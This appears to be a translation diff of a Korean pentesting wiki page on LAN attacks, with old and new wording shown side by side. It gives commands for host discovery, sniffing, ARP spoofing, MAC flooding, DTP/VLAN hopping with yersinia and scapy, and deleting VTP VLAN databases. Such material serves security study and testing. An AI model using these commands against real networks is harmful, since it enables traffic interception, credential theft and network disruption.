그러나, 다른 호스트들과 **동일한 네트워크**에 있기 때문에 **더 많은 작업**을 수행할 수 있습니다: 하지만, 다른 호스트와 **같은 네트워크**에 있으므로, **더 많은 작업**을 수행할 수 있습니다:
```bash ```bash
#ARP discovery #ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs) nmap -sn <Network> #ARP Requests (Discover IPs)
@ -109,28 +112,28 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6 #IPv6
alive6 <IFACE> # Send a pingv6 to multicast. alive6 <IFACE> # Send a pingv6 to multicast.
``` ```
### 활성 ICMP ### Active ICMP
_외부에서 호스트 찾기_ 에서 설명된 기술들([_**ICMP**_](./#icmp))은 여기에도 **적용**될 수 있음을 주의하라.\ _외부에서 호스트 발견하기_에서 언급된 기술들([_**ICMP**_](./#icmp))은 여기에서도 **적용될 수 있습니다**.\
하지만, 다른 호스트들과 **동일한 네트워크**에 있기 때문에 **더 많은 작업**을 할 수 있음: 하지만, 다른 호스트와 **같은 네트워크**에 있으므로 **더 많은 작업**을 수행할 수 있습니다:
* **서브넷 브로드캐스트 주소**를 **ping**하면 각 호스트에게 ping이 도달하고 그들이 **응답**할 수 있음: `ping -b 10.10.5.255` * **서브넷 브로드캐스트 주소**에 **ping**을 보내면 ping이 **각 호스트**에 도달하고 그들이 **응답**할 수 있습니다: `ping -b 10.10.5.255`
* **네트워크 브로드캐스트 주소**를 핑하면 **다른 서브넷 내의 호스트**를 찾을 수도 있음: `ping -b 255.255.255.255` * **네트워크 브로드캐스트 주소**에 ping을 보내면 **다른 서브넷** 내의 호스트를 찾을 수 있습니다: `ping -b 255.255.255.255`
* `-PE`, `-PP`, `-PM` 플래그를 사용하여 `nmap`을 통해 호스트 발견을 수행할 수 있음. 각각 **ICMPv4 echo**, **timestamp**, **서브넷 마스크 요청**을 보내는 것: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` * `nmap`의 `-PE`, `-PP`, `-PM` 플래그를 사용하여 각각 **ICMPv4 에코**, **타임스탬프**, 및 **서브넷 마스크 요청**을 보내 호스트 발견을 수행합니다: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan** ### **Wake On Lan**
Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데 사용**됨. 컴퓨터를 켜기 위해 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 후 **동일한 패킷 내에서 16번 반복**되는 패킷임.\ Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데** 사용됩니다. 컴퓨터를 켜는 데 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 다음에 같은 패킷 내에서 **16번 반복되는** 패킷입니다.\
이러한 종류의 패킷은 일반적으로 **이더넷 0x0842** 또는 **포트 9로의 UDP 패킷**으로 전송됨.\ 이러한 종류의 패킷은 일반적으로 **이더넷 0x0842** 또는 **포트 9로 UDP 패킷**으로 전송됩니다.\
**\[MAC]**이 제공되지 않으면, 패킷은 **브로드캐스트 이더넷**으로 전송됨(브로드캐스트 MAC이 반복됨). **\[MAC]**이 제공되지 않으면 패킷은 **브로드캐스트 이더넷**으로 전송됩니다(그리고 브로드캐스트 MAC이 반복됩니다).
```bash ```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
``` ```
## 호스트 스 ## 호스트 스캐닝
특정 IP(외부 또는 내부)를 심층 스캔하고 싶다면 다양한 작업을 수행할 수 있습니다. 깊이 있게 스캔하고자 하는 모든 IP(외부 또는 내부)를 발견한 후, 다양한 작업을 수행할 수 있습니다.
### TCP ### TCP
@ -153,10 +156,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP 포트를 스캔하는 두 가지 옵션이 있습니다: UDP 포트를 스캔하는 두 가지 옵션이 있습니다:
* **UDP 패킷**을 보내고 포트가 **닫혀 있으면 ICMP unreachable** 응답을 확인합니다 (여러 경우에 ICMP가 **필터링**되어 포트가 열려 있거나 닫혀 있는지에 대한 정보를 받지 못할 수 있습니다). * **UDP 패킷**을 보내고 포트가 **닫혀** 있으면 _**ICMP 도달 불가**_ 응답을 확인합니다 (여러 경우 ICMP가 **필터링**되므로 포트가 닫혀 있거나 열려 있는지에 대한 정보를 받지 못할 수 있습니다).
* **포맷된 데이터그램**을 보내 응답을 유도합니다 (예: DNS, DHCP, TFTP 등의 **서비스**에서). 응답을 받으면 포트가 **열려 있다는 것**입니다. * **형식화된 데이터그램**을 보내서 **서비스**(예: DNS, DHCP, TFTP 등, _nmap-payloads_에 나열된)로부터 응답을 유도합니다. **응답**을 받으면 포트가 **열려** 있습니다.
**Nmap**은 "-sV"를 사용하여 **두 가지 옵션을 혼합**합니다 (UDP 스캔은 매우 느립니다), 그러나 UDP 스캔이 TCP 스캔보다 느립니다: **Nmap**은 "-sV"를 사용하여 두 가지 옵션을 **혼합**합니다 (UDP 스캔은 매우 느립니다), 하지만 UDP 스캔이 TCP 스캔보다 느리다는 점에 유의하십시오:
```bash ```bash
# Check if any of the most common udp services is running # Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> udp-proto-scanner.pl <IP>
@ -170,11 +173,11 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
``` ```
### SCTP 스캔 ### SCTP 스캔
**SCTP (Stream Control Transmission Protocol)**은 **TCP (Transmission Control Protocol)****UDP (User Datagram Protocol)**와 함께 사용되도록 설계되었습니다. 주요 목적은 IP 네트워크 상에서 전화 데이터의 전송을 용이하게 하는 것으로, **Signaling System 7 (SS7)**에서 발견되는 신뢰성 기능을 많이 반영합니다. **SCTP**는 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소로, IP 네트워크 상에서 SS7 신호를 전송하는 것을 목표로 합니다. **SCTP (스트림 제어 전송 프로토콜)**은 **TCP (전송 제어 프로토콜)****UDP (사용자 데이터그램 프로토콜)**와 함께 사용되도록 설계되었습니다. 그 주요 목적은 IP 네트워크를 통해 전화 데이터의 전송을 용이하게 하여 **신호 시스템 7 (SS7)**에서 발견되는 많은 신뢰성 기능을 반영하는 것입니다. **SCTP**는 SS7 신호를 IP 네트워크를 통해 전송하는 것을 목표로 하는 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다.
**SCTP** 지원은 **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, **VxWorks** 등 다양한 운영 체제에서 제공되며, 이는 통신 및 네트워킹 분야에서의 광범위한 수용 및 유틸리티를 나타냅니다. **SCTP**에 대한 지원은 **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, **VxWorks**와 같은 다양한 운영 체제에서 제공되며, 이는 통신 및 네트워킹 분야에서의 폭넓은 수용과 유용성을 나타냅니다.
nmap에서는 **SCTP**에 대해 두 가지 다른 스캔을 제공합니다: _-sY_ 및 _-sZ_ nmap은 SCTP에 대해 두 가지 다른 스캔을 제공합니다: _-sY_ 및 _-sZ_
```bash ```bash
# Nmap fast SCTP scan # Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP> nmap -T4 -sY -n -oA SCTFastScan <IP>
@ -193,9 +196,9 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
[nmap-summary-esp.md](nmap-summary-esp.md) [nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %} {% endcontent-ref %}
### 내부 IP 주소 노출 ### 내부 IP 주소 공개
**구성 오류가 있는 라우터, 방화벽 및 네트워크 장치**는 때때로 **비공개 소스 주소**를 사용하여 네트워크 프로브에 응답합니다. **tcpdump**를 사용하여 테스트 중에 비공개 주소에서 수신된 패킷을 식별할 수 있습니다. 특히 Kali Linux에서는 **eth2 인터페이스**에서 패킷을 캡처할 수 있으며, 이는 공개 인터넷에서 접근할 수 있습니다. 설정이 NAT 또는 방화벽 뒤에 있는 경우 해당 패킷은 필터링될 가능성이 높다는 점을 유의해야 합니다. **잘못 구성된 라우터, 방화벽 및 네트워크 장치**는 때때로 **비공식 소스 주소**를 사용하여 네트워크 프로브에 응답합니다. **tcpdump**는 테스트 중에 개인 주소에서 수신된 패킷을 식별하는 데 사용할 수 있습니다. 특히 Kali Linux에서는 **eth2 인터페이스**에서 패킷을 캡처할 수 있으며, 이는 공용 인터넷에서 접근 가능합니다. NAT 또는 방화벽 뒤에 설정이 있는 경우 이러한 패킷은 필터링될 가능성이 높다는 점에 유의해야 합니다.
```bash ```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -203,11 +206,11 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
``` ```
## 스니핑 ## Sniffing
스니핑을 통해 캡처된 프레임과 패킷을 검토함으로써 IP 범위, 서브넷 크기, MAC 주소 및 호스트 이름의 세부 정보를 파악할 수 있습니다. 네트워크가 잘못 구성되었거나 스위칭 패브릭이 스트레스를 받는 경우, 공격자는 수동 네트워크 스니핑을 통해 민감한 자료를 캡처할 수 있습니다. 스니핑을 통해 캡처된 프레임과 패킷을 검토하여 IP 범위, 서브넷 크기, MAC 주소 및 호스트 이름에 대한 세부 정보를 배울 수 있습니다. 네트워크가 잘못 구성되었거나 스위칭 패브릭이 스트레스를 받는 경우, 공격자는 수동 네트워크 스니핑을 통해 민감한 자료를 캡처할 수 있습니다.
스위칭된 이더넷 네트워크가 올바르게 구성된 경우, 브로드캐스트 프레임과 당신의 MAC 주소로 전송된 자료만 볼 수 있습니다. 스위치된 이더넷 네트워크가 제대로 구성된 경우, 귀하는 브로드캐스트 프레임과 귀하의 MAC 주소로 전송되는 자료만 볼 수 있습니다.
### TCPDump ### TCPDump
```bash ```bash
@ -215,7 +218,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
``` ```
한편, Wireshark를 GUI로 사용하여 SSH 세션을 통해 원격 컴퓨터에서 실시간으로 데이터 패킷을 캡처할 수 있습니다. 원격 머신에서 SSH 세션을 통해 Wireshark를 GUI로 사용하여 실시간으로 패킷을 캡처할 수 있다.
``` ```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -231,17 +234,17 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
``` ```
### Wireshark ### Wireshark
당연히. 명백히.
### 자격 증명 캡처 ### Capturing credentials
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 라이브 인터페이스에서 자격 증명을 구문 분석할 수 있습니다. [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 라이브 인터페이스에서 자격 증명을 파싱할 수 있습니다.
## LAN 공격 ## LAN attacks
### ARP 스푸핑 ### ARP spoofing
ARP 스푸핑은 기계의 IP가 우리의 장치의 MAC을 가지고 있다고 나타내는 무료 ARPResponses를 보내는 것을 의미합니다. 그런 다음 피해자는 ARP 테이블을 변경하고 IP 스푸핑을 연락하려고 할 때마다 우리의 기계에 연락할 것입니다. ARP 스푸핑은 기계의 IP가 우리의 장치의 MAC을 가지고 있음을 나타내기 위해 불필요한 ARP 응답을 보내는 것입니다. 그러면 피해자는 ARP 테이블을 변경하고 IP 스푸핑을 원할 때마다 우리의 장치에 연락하게 됩니다.
#### **Bettercap** #### **Bettercap**
```bash ```bash
@ -257,25 +260,25 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1 arpspoof -t 192.168.1.2 192.168.1.1
``` ```
### MAC Flooding - CAM 오버플로우 ### MAC Flooding - CAM overflow
다양한 소스 MAC 주소를 사용하여 많은 패킷을 전송하여 스위치의 CAM 테이블을 오버플로우시킵니다. CAM 테이블이 가득 차면 스위치가 허브처럼 동작하기 시작합니다 (모든 트래픽을 브로드캐스팅). 스위치의 CAM 테이블을 오버플로우시키기 위해 다양한 소스 MAC 주소를 가진 많은 패킷을 전송합니다. CAM 테이블이 가득 차면 스위치는 허브처럼 동작하기 시작합니다(모든 트래픽을 브로드캐스트).
```bash ```bash
macof -i <interface> macof -i <interface>
``` ```
현대 스위치에서는 이 취약점이 수정되었습니다. In modern switches this vulnerability has been fixed.
### 802.1Q VLAN / DTP 공격 ### 802.1Q VLAN / DTP Attacks
#### 동적 트렁킹 #### Dynamic Trunking
**동적 트렁킹 프로토콜 (DTP)**은 트렁킹을 자동화하는 링크 계층 프로토콜로 설계되어 있으며, 스위치가 자동으로 트렁크 모드(Trunk) 또는 비트렁크 모드를 선택할 수 있게 합니다. **DTP**의 배포는 종종 최적의 네트워크 디자인의 표시로 간주되며, 필요한 경우에만 트렁크를 수동으로 구성하고 적절한 문서화를 보장하는 중요성을 강조합니다. The **Dynamic Trunking Protocol (DTP)**는 링크 계층 프로토콜로 설계되어 자동 트렁킹 시스템을 용이하게 하며, 스위치가 트렁크 모드(Trunk) 또는 비트렁크 모드에서 포트를 자동으로 선택할 수 있도록 합니다. **DTP**의 배치는 종종 최적이 아닌 네트워크 설계를 나타내는 것으로 간주되며, 필요할 때만 수동으로 트렁크를 구성하고 적절한 문서를 보장하는 것이 중요함을 강조합니다.
기본적으로 스위치 포트는 동적 자동 모드로 설정되어 있어 인접한 스위치에 의해 유도되면 트렁킹을 시작할 준비가 되어 있습니다. 보안 문제가 발생하는 경우, 펜테스터 또는 공격자가 스위치에 연결하고 DTP Desirable 프레임을 보내면 포트가 트렁크 모드로 전환됩니다. 이 작업을 통해 공격자는 STP 프레임 분석을 통해 VLAN을 열거하고 가상 인터페이스를 설정하여 VLAN 분할을 우회할 수 있습니다. 기본적으로 스위치 포트는 Dynamic Auto 모드로 설정되어 있어, 이웃 스위치에 의해 트렁킹을 시작할 준비가 되어 있습니다. 보안 문제는 펜테스터나 공격자가 스위치에 연결하고 DTP Desirable 프레임을 전송하여 포트를 트렁크 모드로 강제할 때 발생합니다. 이 작업은 공격자가 STP 프레임 분석을 통해 VLAN을 열거하고 가상 인터페이스를 설정하여 VLAN 세분화를 우회할 수 있게 합니다.
많은 스위치에서 DTP의 기본 존재는 적대적인 자들이 스위치의 동작을 모방하여 모든 VLAN을 통해 트래픽에 액세스할 수 있도록 이용할 수 있습니다. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 스크립트는 인터페이스를 모니터링하는 데 사용되며, 스위치가 Default, Trunk, Dynamic, Auto 또는 Access 모드 중 어느 모드에 있는지 확인하여 VLAN 호핑 공격에 면역인 Access 모드만을 식별합니다. 이 도구는 스위치의 취약성 상태를 평가합니다. 많은 스위치에서 기본적으로 DTP가 존재하는 것은 적들이 스위치의 동작을 모방하여 모든 VLAN의 트래픽에 접근할 수 있도록 악용될 수 있습니다. 스크립트 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)는 인터페이스를 모니터링하여 스위치가 Default, Trunk, Dynamic, Auto 또는 Access 모드에 있는지를 나타내며, Access 모드만이 VLAN 홉핑 공격에 면역인 구성입니다. 이 도구는 스위치의 취약성 상태를 평가합니다.
네트워크 취약성이 확인되면 _**Yersinia**_ 도구를 사용하여 DTP 프로토콜을 통해 "트렁킹을 활성화"시킬 수 있어 모든 VLAN에서 패킷을 관찰할 수 있습니다. 네트워크 취약성이 식별되면, _**Yersinia**_ 도구를 사용하여 DTP 프로토콜을 통해 "트렁킹 활성화"를 수행하여 모든 VLAN의 패킷을 관찰할 수 있습니다.
```bash ```bash
apt-get install yersinia #Installation apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali sudo apt install kali-linux-large #Another way to install it in Kali
@ -288,20 +291,20 @@ yersinia -G #For graphic mode
``` ```
![](<../../.gitbook/assets/image (269).png>) ![](<../../.gitbook/assets/image (269).png>)
VLAN을 열거하기 위해 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다.** 어떠한 상황에서도 스크립트를 중단하지 마십시오. **스크립트는 3초마다 DTP Desirable을 삽입합니다.** **스위치에서 동적으로 생성된 트렁크 채널은 다섯 분 동안만 유지됩니다. 다섯 분이 지나면 트렁크가 끊깁니다.** VLAN을 열거하기 위해 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다. 어떤 상황에서도 스크립트를 중단하지 마십시오. DTP Desirable을 매 3초마다 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분 후에는 트렁크가 사라집니다.**
``` ```
sudo python3 DTPHijacking.py --interface eth0 sudo python3 DTPHijacking.py --interface eth0
``` ```
접근 가능/희망 (0x03)은 DTP 프레임이 희망 유형임을 나타내며, 해당 포트에 트렁크 모드로 전환하도록 지시합니다. 그리고 802.1Q/802.1Q (0xa5)은 802.1Q 캡슐화 유형을 나타냅니다. I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type.
STP 프레임을 분석함으로써 VLAN 30과 VLAN 60의 존재를 알 수 있습니다. By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.**
<figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure>
#### 특정 VLAN 공격 #### 특정 VLAN 공격
VLAN ID 및 IP 값이 알려진 경우, 가상 인터페이스를 구성하여 특정 VLAN을 공격할 수 있습니다.\ VLAN ID와 IP 값을 알게 되면, **특정 VLAN을 공격하기 위해 가상 인터페이스를 구성할 수 있습니다.**\
DHCP를 사용할 수 없는 경우 _ifconfig_를 사용하여 정적 IP 주소를 설정하십시오. DHCP가 사용 가능하지 않으면, _ifconfig_를 사용하여 정적 IP 주소를 설정하십시오.
``` ```
root@kali:~# modprobe 8021q root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250 root@kali:~# vconfig add eth1 250
@ -334,15 +337,15 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up sudo ip link set eth0.30 up
sudo dhclient -v eth0.30 sudo dhclient -v eth0.30
``` ```
#### 자동 VLAN 호퍼 #### Automatic VLAN Hopper
**다이내믹 트렁킹 및 가상 인터페이스 생성 및 다른 VLAN 내 호스트 발견**에 대한 논의된 공격다음 도구에 의해 **자동으로 수행**됩니다: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) 논의된 공격인 **Dynamic Trunking과 가상 인터페이스 생성 및 다른 VLAN 내 호스트 발견**은 도구에 의해 **자동으로 수행됩니다**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### 더블 태깅 #### Double Tagging
공격자가 피해자 호스트의 **MAC, IP 및 VLAN ID 값**을 알고 있다면, 해당 호스트의 VLAN 및 피해자의 VLAN으로 **프레임에 더블 태그를 시도**하고 패킷을 보낼 수 있습니다. **피해자가 공격자에 다시 연결할 수 없기** 때문에, **공격자에게 가장 좋은 옵션은 UDP를 통해 통신하는 것**입니다. 이를 통해 SNMP와 같은 흥미로운 작업을 수행할 수 있는 프로토콜로 통신할 수 있습니다. 공격자가 **희생자 호스트의 MAC, IP 및 VLAN ID 값을** 알고 있다면, 그는 **프레임을 두 번 태그**하여 지정된 VLAN과 희생자의 VLAN으로 패킷을 전송할 수 있습니다. **희생자가 공격자와 연결할 수 없기 때문에**, **공격자가 가장 좋은 옵션은 UDP를 통해 통신**하여 흥미로운 작업을 수행할 수 있는 프로토콜(SNMP와 같은)과 연결하는 것입니다.
공격자의 다른 옵션은 **공격자가 제어하는 IP를 위조하고 피해자가 접근할 수 있는 TCP 포트 스캔을 실행**하는 것입니다 (아마도 인터넷을 통해). 그런 다음, 공격자는 두 번째 호스트에서 패킷을 수신하는지 확인할 수 있습니다. 공격자의 다른 옵션은 **공격자가 제어하는 IP를 스푸핑하여 희생자가 접근할 수 있는 TCP 포트 스캔을 시작**하는 것입니다(아마도 인터넷을 통해). 그런 다음, 공격자는 희생자로부터 패킷을 수신하는지 확인하기 위해 자신이 소유한 두 번째 호스트에서 스니핑할 수 있습니다.
![](<../../.gitbook/assets/image (190).png>) ![](<../../.gitbook/assets/image (190).png>)
@ -353,54 +356,56 @@ from scapy.all import *
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet) sendp(packet)
``` ```
#### 측면 VLAN 세분화 우회 <a href="#d679" id="d679"></a> #### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
만약 **직접 연결된 스위치에 액세스**할 수 있다면, 네트워크 내에서 **VLAN 세분화를 우회**할 수 있습니다. 간단히 **포트를 트렁크 모드로 전환**하고 대상 VLAN의 ID로 가상 인터페이스를 생성하고 IP 주소를 구성하면 됩니다. 주소를 동적으로 요청(DHCP)하거나 정적으로 구성할 수 있습니다. 상황에 따라 다릅니다. 당신이 **직접 연결된 스위치에 접근할 수 있다면**, 네트워크 내에서 **VLAN 세분화를 우회할 수 있는 능력**이 있습니다. 간단히 **포트를 트렁크 모드로 전환**하고(트렁크라고도 알려짐), 대상 VLAN의 ID로 가상 인터페이스를 생성한 후 IP 주소를 구성합니다. 주소를 동적으로 요청할 수도 있고(DHCP), 정적으로 구성할 수도 있습니다. 이는 경우에 따라 다릅니다.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} {% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
#### 레이어 3 개인 VLAN 우회 #### Layer 3 Private VLAN Bypass
일부 환경에서는 게스트 무선 네트워크와 같이 **포트 격리(개인 VLAN으로도 알려짐)** 설정이 구현되어 무선 액세스 포인트에 연결된 클라이언트가 서로 직접 통신하는 것을 방지합니다. 그러나 이러한 격리 조치를 우회할 수 있는 기술이 식별되었습니다. 이 기술은 네트워크 ACL이 부족하거나 부적절하게 구성되어 IP 패킷이 라우터를 통해 다른 클라이언트에게 라우팅되도록 하는 것을 이용합니다. 게스트 무선 네트워크와 같은 특정 환경에서는 **포트 격리(프라이빗 VLAN이라고도 함)** 설정이 구현되어 무선 액세스 포인트에 연결된 클라이언트가 서로 직접 통신하는 것을 방지합니다. 그러나 이러한 격리 조치를 우회할 수 있는 기술이 확인되었습니다. 이 기술은 네트워크 ACL의 부족 또는 잘못된 구성을 이용하여 IP 패킷이 라우터를 통해 동일 네트워크의 다른 클라이언트에 도달할 수 있도록 합니다.
이 공격은 **목적 클라이언트의 IP 주소를 가진 패킷을 라우터의 MAC 주소와 함께 전송**하여 실행됩니다. 이로 인해 라우터가 패킷을 잘못된 대상 클라이언트로 전달하게 됩니다. 이 접근 방식은 피해자에게 접근 가능한 호스트를 제어하여 보안 결함을 악용하는 이중 태깅 공격에서 사용되는 방식과 유사합니다. 공격은 **대상 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 생성**하여 실행됩니다. 이로 인해 라우터는 패킷을 잘못 전달하여 대상 클라이언트에게 전달하게 됩니다. 이 접근 방식은 피해자가 접근할 수 있는 호스트를 제어하여 보안 결함을 이용하는 더블 태깅 공격에서 사용되는 방식과 유사합니다.
**공격의 주요 단계:** **공격의 주요 단계:**
1. **패킷 생성:** 목적 클라이언트의 IP 주소를 포함하고 라우터의 MAC 주소를 가진 패킷을 특별히 생성합니다. 1. **패킷 제작:** 대상 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 특별히 제작합니다.
2. **라우터 동작 악용:** 생성된 패킷이 라우터로 전송되어, 구성에 따라 라우터가 패킷을 대상 클라이언트로 리디렉션하여 개인 VLAN 설정이 제공하는 격리를 우회합니다. 2. **라우터 동작 이용:** 제작된 패킷이 라우터로 전송되며, 구성으로 인해 패킷이 대상 클라이언트로 리디렉션되어 프라이빗 VLAN 설정에 의해 제공되는 격리를 우회합니다.
### VTP 공격 ### VTP Attacks
VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙화합니다. VLAN 데이터베이스 무결성을 유지하기 위해 수정이 발생할 때마다 리비전 번호를 사용합니다. 스위치는 더 높은 리비전 번호의 구성을 채택하여 자체 VLAN 데이터베이스를 업데이트합니다. VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙 집중화합니다. 수정 번호를 사용하여 VLAN 데이터베이스의 무결성을 유지하며, 수정이 이루어질 때마다 이 번호가 증가합니다. 스위치는 더 높은 수정 번호를 가진 구성을 채택하여 자신의 VLAN 데이터베이스를 업데이트합니다.
#### VTP 도메인 역할 #### VTP Domain Roles
* **VTP 서버:** VLAN을 관리하며 생성, 삭제, 수정합니다. 도메인 구성원에게 VTP 공지를 브로드캐스트합니다. * **VTP Server:** VLAN을 관리합니다—생성, 삭제, 수정. 도메인 구성원에게 VTP 공지를 방송합니다.
* **VTP 클라이언트:** VTP 공지를 수신하여 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정을 제한합니다. * **VTP Client:** VTP 공지를 수신하여 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다.
* **VTP 투명:** VTP 업데이트에 참여하지 않지만 VTP 공지를 전달합니다. VTP 공격에 영향을 받지 않으며 리비전 번호를 0으로 유지합니다. * **VTP Transparent:** VTP 업데이트에 참여하지 않지만 VTP 공지를 전달합니다. VTP 공격의 영향을 받지 않으며, 수정 번호는 항상 0으로 유지됩니다.
#### VTP 공지 유형 #### VTP Advertisement Types
* **요약 공지:** VTP 서버가 300초마다 브로드캐스트하는 핵심 도메인 정보를 포함합니다. * **Summary Advertisement:** VTP 서버에 의해 300초마다 방송되며, 필수 도메인 정보를 포함합니다.
* **부분 공지:** VLAN 구성 변경 후 전송됩니다. * **Subset Advertisement:** VLAN 구성 변경 후 전송됩니다.
* **공지 요청:** VTP 클라이언트가 더 높은 구성 리비전 번호를 감지하고 일반적으로 요약 공지를 요청하는 경우 발행됩니다. * **Advertisement Request:** VTP 클라이언트가 Summary Advertisement를 요청하기 위해 발행하며, 일반적으로 더 높은 구성 수정 번호를 감지한 후에 발생합니다.
VTP 취약점은 VTP 공지가 트렁크 포트를 통해서만 순환되기 때문에 트렁크 포트를 통해서만 악용할 수 있습니다. DTP 공격 시나리오 이후 VTP로 이어질 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 하여 VLAN 데이터베이스를 삭제하고 네트워크를 효과적으로 방해할 수 있습니다. VTP 취약점은 트렁크 포트를 통해서만 악용될 수 있으며, VTP 공지는 오직 트렁크 포트를 통해서만 순환합니다. DTP 공격 후 시나리오는 VTP로 전환될 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 하여 VLAN 데이터베이스를 삭제하고 네트워크를 효과적으로 중단시킬 수 있습니다.
참고: 이 토론은 VTP 버전 1 (VTPv1)에 관련됩니다. 참고: 이 논의는 VTP 버전 1(VTPv1)에 관한 것입니다.
````bash ````bash
%% yersinia -G # Launch Yersinia in graphical mode ``` %% yersinia -G # Launch Yersinia in graphical mode ```
```` ````
Yersinia의 그래픽 모드에서 모든 VTP VLAN 삭제 옵션을 선택하여 VLAN 데이터베이스를 정리하십시오.
### STP 공격 ### STP 공격
**인터페이스에서 BPDU 프레임을 캡처할 수 없는 경우 STP 공격에 성공할 가능성이 적습니다.** **인터페이스에서 BPDU 프레임을 캡처할 수 없다면 STP 공격에 성공할 가능성이 낮습니다.**
#### **STP BPDU DoS** #### **STP BPDU DoS**
